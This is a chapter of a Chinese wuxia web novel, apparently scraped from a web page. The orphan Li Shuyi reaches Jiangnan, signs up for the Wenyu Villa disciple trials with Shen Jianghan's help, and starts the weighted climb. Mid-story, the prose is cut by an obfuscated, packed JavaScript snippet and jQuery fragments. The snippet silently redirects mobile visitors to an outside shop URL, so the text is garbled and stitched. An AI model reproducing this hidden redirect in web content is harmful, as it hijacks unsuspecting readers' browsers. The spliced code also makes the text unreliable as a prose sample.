一月后,二人来到江南。
可以说,多亏沈江寒租赁的马车,大大缩减从棠州到江南的路程,纵然郦抒意和他一路上游历、路见不平拔刀相助耽误了不少时辰,但少女抵达江南的时间还是比她计划的要早足足一月有余。
踏入桑州境内,郦抒意因赶路而紧绷的神弦不免松了几分,难得有兴致地撩开马帘,眺望这座青山连绵的江南之州。
问剑山庄位于桑州正心,正道大派伴山而建,故称山庄。
江南的山,多为丘陵山,并不陡峻。山峰绵缓,一山一山连绵,云雾缭绕其间。丘陵山上均是修行之人,山脚下则居住着平民百姓,沈府便在其列。
受问玉山庄庇佑,邪派宵小不敢挑事,山脚一带的百姓安居乐业。
郦抒意落地,在沈江寒去还马车时,极目远眺,尽揽江南小镇风光:此处有山有水,街头背阴面积攒着未融的薄雪,挑货郎、掮客络绎不绝,街头包子铺老板掀开蒸笼,腾腾热气与山色相缠……
眼前之景集尽人间烟火气,让少女不由得对自己今后的小镇生活生出一份期待。
郦抒意深呼吸,忽的觉察到街头有少侠在施粥布善,他们执有配剑,身着同沈江寒一样的修士白袍,正思索他们会不会是沈江寒的同门,后者恰巧在此刻回到她身侧。
沈江寒一出现,那头施粥的少侠果真注意到他,笑脸相迎而上,有唤他少庄主的,也有唤他小师兄的,问候的最多的话语莫过于:
“少庄主回来了?”
“小师兄什么时候再去历练?带上师弟师妹们吧!”
偶有少男少女会多看几眼郦抒意,似乎对此见怪不怪,只道:“少庄主又在路边搭救了?这次是哪家的姑娘?”
郦抒意侧目望向沈江寒,后者浅笑,没有半分居功自傲,客观道出她被青渊门人追杀一事。
他声澈如泉:“路过相助,举手之劳,不足挂齿。倒是这位姑娘,名唤‘抒意’,有勇有谋,能凭一己之力斩杀青渊门的小头目。”
“真的嘛!抒意姐姐这么厉害!”
少年们的眸中闪过光亮,他们将郦抒意包围着,似乎对她很是好奇,更有甚至追问她师从何派。
郦抒意显然不适应如此场面,别扭地摆手:“我无门无派,不曾学武。”
“哇!未曾学过竟能搏杀强敌!”
郦抒回忆道:“当时那人喝醉了酒,想来神识不清……不过那次我也险些丧命,多亏少庄主相救。”
少年们叽叽喳喳的,还想追问她更多细节,沈江寒挡在她身前道:“好了,师父布置的任务都完成了吗?莫要在此叨扰抒意姑娘了。”
少年们只好垂头丧气地回到施粥铺,这时,路过的大娘见到沈江寒,挽着菜篮笑吟吟的,也道:“少庄主回来啦?你沈蓉小师妹可天天念叨着你何时回来呢!”
大娘走后,郦抒意道:“沈蓉?”路上倒是听他提起过,沈江寒还专程给她买了些风俗玩物。
沈江寒笑道:“我的表妹,姑母招婿,故而跟着沈家姓。”
沈家父辈有三:大哥沈平潮创立问玉山庄;二弟在朝廷任职,位居鸿胪寺卿;三妹早些年间被魔教中人报复,和其夫一同死于非命,留有遗女沈蓉,由沈平潮抚养。
此事郦抒意在酒楼时有听闻,故不再相问。
离问玉山庄春招还有段时日,沈江寒替郦抒意寻了门庖厨伙计的差事,少女对此得心应手,很快赚得银子还上沈江寒的账。
光阴荏苒,一晃神就到开春,问玉山庄放出消息:广招民间贤能义士,传授问玉山庄武学。
郦抒意:来了!
报名前夕,她紧张到整宿睡不着觉,第二天早早同掌柜告假,天未亮就已随人流在沈府门前排长队。
这次问玉山庄春选,临近州镇的来了好些人,更有形形色色、江湖小门小派的弟子也参与其中。
队列里,男子占大头,少见女子,和郦抒意一般年岁的,更是寥寥无几。故而少女郦抒意排队其间,周边都是人高马大的壮汉,她显得格外瘦小,自然也引得旁人侧目。
郦抒意攥紧拳头,无视那些人审视的目光。
路上有江湖男子同她搭讪,她也一概不理。若是有人寻衅挑事,会有问玉山庄的弟子出面维系秩序,整个报名的过程还算通畅,半个时辰后,轮到郦抒意到前头,她撞上沈江寒温和的目光。
沈府门口设有桌案,由问玉山庄的小长老负责初面和统筹名单,沈江寒在此给师叔搭把手。
小长老面见了一上午,难得见到个年轻女娃,态度友善地问郦抒意叫什么名字。
“我唤‘抒意’。”
立马有一左一右两个小弟子在郦抒意面前铺好白纸,递来墨笔,小长老笑呵呵地指了指:“抒意姑娘在此写上名字,若是过往有师从,烦请一并题上。”
郦抒意紧张地握笔,尽管极力克制,但墨迹还是有些抖,歪歪斜斜地写了个“抒”字,而后卡了壳。
从前在莫娘的酒楼,前台的账房先生识字,郦抒意跟他学了些皮毛,长久不温习,如今突然要用笔墨,她竟忘了“意”字怎么写!
“……”
郦抒意久久未动,墨水滚落几滴,在纸面融化。
身后排队的人:“怎么回事?”
一时间众人都跟着窸窸窣窣张望,少女的心跳得更快了。
便是这时,熟悉的冷香靠近,沈江寒行至她身侧,与她并肩:“可是忘记怎么写了?”
郦抒意点头,闻着那道清香,莫名心湖平缓。
另有弟子给沈江寒一只笔,少年执笔,寻了张空白的纸,运笔如挽剑,行云流水般题下她的名字,笔锋就如他的下颌线一般俊秀且硬朗。
“抒意,你照此字迹依葫芦画瓢便可。”
“多谢。”
有了参考,郦抒意落笔坚定,匆匆写好自己的名字,交给小长老,后者另行问了她几个问题,包括师从何人,家住何处……
郦抒意一一作答:“未曾拜师,不曾学武,幼时流落街头,亲人惨遭江湖恶人毒手,习武是为了替家人报仇。”
小长老:“敢问抒意姑娘姓氏?”
郦抒意摇头:“并不知晓。”
姐姐从未和她说过,她姓什么。
“哦……”小长老感叹一声,不再多言。
一旁的弟子交给她一块竹牌,牌面有她的名字,是问玉山庄的弟子当场用剑气雕刻的。
郦抒意在他们的带领下入沈府前厅静候,临走前,她将沈江寒写的字幅一并捎走,待到沈江寒抽空来前厅寻她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504070|202856||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少女攥着字幅上前,又想求他一事。
“江寒哥哥,我可不可以跟你学字?日后若是拜师学武,定然要看功法,还有各种武功秘籍,若是连字都看不懂……”
少年依旧笑道:“自然可以,不过,待你通过门派选拔,成为问玉山庄的小师妹,我再教你也不迟。”
如此,更加坚定郦抒意的决心,她道:“我定会尽力为之。”
……
初面筛选完毕,小长老入殿清咳,于大庭广众宣布此次选拔弟子的考核流程,一共分为两环:
“第一环,众人需负重徒步爬山,一个时辰内到达问玉山庄庄匾之下,领取第二枚竹牌。山顶有庄主沈平潮大人坐镇,任何人不得使用轻功,包括腿上的功法。”
此环,旨在考验弟子的毅力和恒心,郦抒意听见不少人在唉声载道。
“第二环,水上争球。”小长老接着道,“拿到两枚竹牌的考生,四人一组,争夺蹴鞠。蹴鞠内有第三块竹牌,一刻钟内夺得并投入风流眼者,视为晋级。此环节有山庄高手云集,众考生均可放手一搏,不论智取,还是武夺,只要能在限定时辰内完成竞技即可。”
语毕,不少江湖人跃跃欲试。
与其说他们是来参加擢选的,不如说是来借此扬名的——能在问玉山庄的外围弟子选拔赛上一展风头,便是不入问玉山庄门下,也能在江湖上留有威望。
这些人,都是郦抒意的劲敌。
少女攥紧衣角。
小长老一声令下,众人在山脚下并排,每人的背上均背着一箩筐石头。
箩筐的份量是固定的,不论男女老少,不论高大矮小,均是统一。对此,有考生提出质疑,问玉山庄的人却道:“你的敌人才不会在意你是男是女、身量体型,杀戮面前一视同仁。”
郦抒意想到了阿姐,想到了莫娘,想到了彩莹,她们都是那么美好的女子,依旧难逃恶人的爪牙,恶人对她们不曾有半分怜惜。
问玉山庄此言没错!
少女背上背篓,徒步登山。
起初,众人还能行走自如,待到力气一点点褪去,不少人的额角都布满汗液,郦抒意便是其一,她抬手拭去,咬牙继续爬山。
行至半山腰,已有不少考生累瘫,主动弃赛,人数锐减一半。
郦抒意依旧沉默着,另外折了根树枝当拐,继续赶路。
越来越多的人倒下,他们顺着斜坡瘫倒,仰天喘息,抬头忽的看见一袭鸢紫绒袍的少女,正不紧不慢地往上赶。她有着沉鱼落雁般的容貌,但美貌却是她此刻最微不足道的一点,少女面颊绯红,额角沁汗,眼神却坚定无比,每走一步都势如破竹。
她屹立的身影,成为这山路上最明艳的存在,众人的目光纷纷为她停留,或震惊,或钦佩。
“此人是谁,师从何处!”
“棠州的抒意,无门无派,听说小时候是个乞丐。”
“乞丐都能行至这里!哥几个躺什么呢!”
“就是就是!人家女娃娃都没哭爹喊娘的,咱们几个大老爷们怎么连女人都不如!还不快起来赶路!”……
郦抒意并不知晓,她的存在让许多临近放弃的考生重拾毅力,她完完全全将周围的一切置身事外,心中唯有“我一定要上问玉山庄”的决心!